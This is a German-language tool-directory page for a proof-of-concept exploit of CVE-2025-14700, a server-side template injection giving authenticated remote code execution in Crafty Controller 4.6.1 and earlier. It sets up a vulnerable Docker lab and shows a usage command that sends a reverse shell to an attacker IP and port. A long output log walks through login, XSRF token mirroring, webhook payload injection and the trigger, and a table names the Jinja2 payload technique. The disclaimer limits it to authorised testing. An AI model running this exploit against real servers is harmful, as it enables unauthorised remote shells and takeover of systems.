Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
POC_CVE-2025-14700 — Proof-of-Concept für authentifizierte RCE in Crafty Controller | Kitploit
Tools/GitHubGitHub/secdongle/poc_cve-2025-14700
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungRed Teaming
GitHubsecdongle/poc_cve-2025-14700

POC_CVE-2025-14700

Proof-of-Concept für authentifizierte RCE in Crafty Controller

Repository anzeigen
vor 8 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-14700

PoC für CVE-2025-14700, eine Server-Side Template Injection (SSTI)-Schwachstelle in Crafty Controller <= 4.6.1. Diese Schwachstelle ermöglicht es authentifizierten Benutzern, durch das Einschleusen bösartiger Jinja2-Vorlagen in die Webhook-Konfiguration Remote-Codeausführung (RCE) zu erreichen.

📦 Installation

root@kitploit:~
# Clone the repository
git clone https://github.com/secdongle/POC_CVE-2025-14700
cd POC_CVE-2025-14700

🛠️ Testumgebung (Docker Compose)

Um eine verwundbare Instanz von Crafty Controller 4.6.1 einzurichten, verwenden Sie die folgende docker-compose.yml-Konfiguration:

1. docker-compose.yml erstellen

root@kitploit:~
version: '3'
services:
  crafty:
    image: registry.gitlab.com/crafty-controller/crafty-4:4.6.1
    container_name: crafty-vulnerable
    ports:
      - "8443:8443"     # Web Dashboard
      - "25565:25565"   # Minecraft Server Port
    environment:
      - TZ=Asia/Shanghai
    volumes:
      - ./crafty_data:/crafty_db
    restart: unless-stopped

2. Umgebung starten

root@kitploit:~
docker-compose up -d

3. Controller initialisieren

  1. Rufen Sie die Weboberfläche unter https://localhost:8443 auf.
  2. Schließen Sie den Einrichtungsassistenten ab, um ein Administratorkonto zu erstellen.
  3. Verwenden Sie diese Anmeldedaten, um das Skript poc.py auszuführen.

🚀 Verwendung

Einzelziel-Exploit

root@kitploit:~
# Execute the Proof of Concept for a reverse shell
python3 poc.py -u https://10.67.3.77:8443 -l admin -p 'PASSWORD' -lh 10.67.3.78 -lp 6699

Befehlszeilenoptionen

🎯 Exploit-Funktionen

  • XSRF- & Token-Synchronisation: Handhabt automatisch die komplexe Synchronisation zwischen Tornado _xsrf-Cookies und dem benutzerdefinierten token-Header.
  • Sitzungsemulation: 1:1-Simulation von browserbasierten Anfragen, einschließlich Referer- und Origin-Headern, um Backend-Sicherheitsprüfungen zu umgehen.
  • Automatisierte Kette: Erstellt einen Dummy-Server, injiziert die SSTI-Nutzlast und löst die Ausführungsaktion in einer Sequenz aus.

📊 Technische Analyse

Der Exploit gelingt, indem er sich an die strenge Validierungslogik des Backends anpasst:

📝 Beispielausgabe

root@kitploit:~
python poc.py -u https://10.67.3.77:8443 -l admin -lh 10.67.3.78 -lp 6699 -p 'iMbSnt@OLnBYnU%hVv0aRN2l5djUInSruxAHK2oP0j@QDs$6pkGa8dYEI!G$mLim"'
[*] STEP 1: Visiting login page to retrieve initial _xsrf cookie...
[*] STEP 2: Executing authentication (XSRF: 2|421c9864|03dd...)

================================================================================
[POST] https://10.67.3.77:8443/api/v2/auth/login/ -> HTTP 200
-------------------- [KEY HEADERS VALIDATION] --------------------
X-XSRFToken: 2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591
Cookie: _xsrf=2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591
Referer: https://10.67.3.77:8443/login?next=%2Fpanel%2Fdashboard
Content-Type: application/json
-------------------- [RESPONSE BODY] -------------------------
{
    "status": "ok",
    "data": {
        "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k",
        "user_id": "1",
        "page": "/panel/dashboard"
    }
}
================================================================================

[*] STEP 3: Creating exploit dummy server...

================================================================================
[POST] https://10.67.3.77:8443/api/v2/servers -> HTTP 201
-------------------- [KEY HEADERS VALIDATION] --------------------
X-XSRFToken: 2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k
Cookie: _xsrf=2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k
Referer: https://10.67.3.77:8443/panel/dashboard
Content-Type: application/json
-------------------- [RESPONSE BODY] -------------------------
{
    "status": "ok",
    "data": {
        "new_server_id": "d21f875b-3db0-42fa-92c7-2ba10cdf13ba"
    }
}
================================================================================

[*] STEP 4: Injecting SSTI Reverse Shell payload...

================================================================================
[POST] https://10.67.3.77:8443/api/v2/servers/d21f875b-3db0-42fa-92c7-2ba10cdf13ba/webhook -> HTTP 200
-------------------- [KEY HEADERS VALIDATION] --------------------
X-XSRFToken: 2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k
Cookie: _xsrf=2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k
Referer: https://10.67.3.77:8443/panel/dashboard
Content-Type: application/json
-------------------- [RESPONSE BODY] -------------------------
{
    "status": "ok",
    "data": {
        "webhook_id": 13
    }
}
================================================================================

[*] STEP 5: Executing protocol-level trigger emulation (Critical Phase)...
[*] Sending start_server action request...

================================================================================
[POST] https://10.67.3.77:8443/api/v2/servers/d21f875b-3db0-42fa-92c7-2ba10cdf13ba/action/start_server -> HTTP 200
-------------------- [KEY HEADERS VALIDATION] --------------------
token: 2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591
X-XSRFToken: 2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591
Cookie: _xsrf=2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k
Referer: https://10.67.3.77:8443/panel/dashboard
-------------------- [RESPONSE BODY] -------------------------
{
    "status": "ok"
}
================================================================================

[*] Sending EULA confirmation action request...

[+] POC Execution completed. Check your nc listener (LHOST/LPORT).

reverse_shell

⚠️ Haftungsausschluss

Dieses Tool wird ausschließlich zu Bildungs- und autorisierten Sicherheitstestzwecken bereitgestellt. Unbefugter Zugriff auf Computersysteme ist illegal. Die Autoren übernehmen keine Verantwortung für Missbrauch.

Tool herunterladen
OptionBeschreibung
-u, --urlZiel-Crafty-Controller-URL (z.B. https://10.67.3.77:8443)
-l, --loginBenutzername für die Authentifizierung
-p, --passwordPasswort für die Authentifizierung
-lh, --lhostAngreifer-IP für Reverse-Shell-Rückruf
-lp, --lportAngreifer-Port für Reverse-Shell-Rückruf
AnforderungExploit-Strategie
XSRF-TokenExtrahiert _xsrf aus Cookies und spiegelt es in den X-XSRFToken- und token-Headern wider.
Referer-PrüfungSetzt Referer auf den Dashboard-Pfad, um eine legitime Benutzerinteraktion zu imitieren.
Header-ZuordnungOrdnet den _xsrf-Wert einem spezifischen token-Header zu, der vom Aktionsverteiler benötigt wird.
NutzlastNutzt self._TemplateReference__context, um auf das os-Modul zuzugreifen.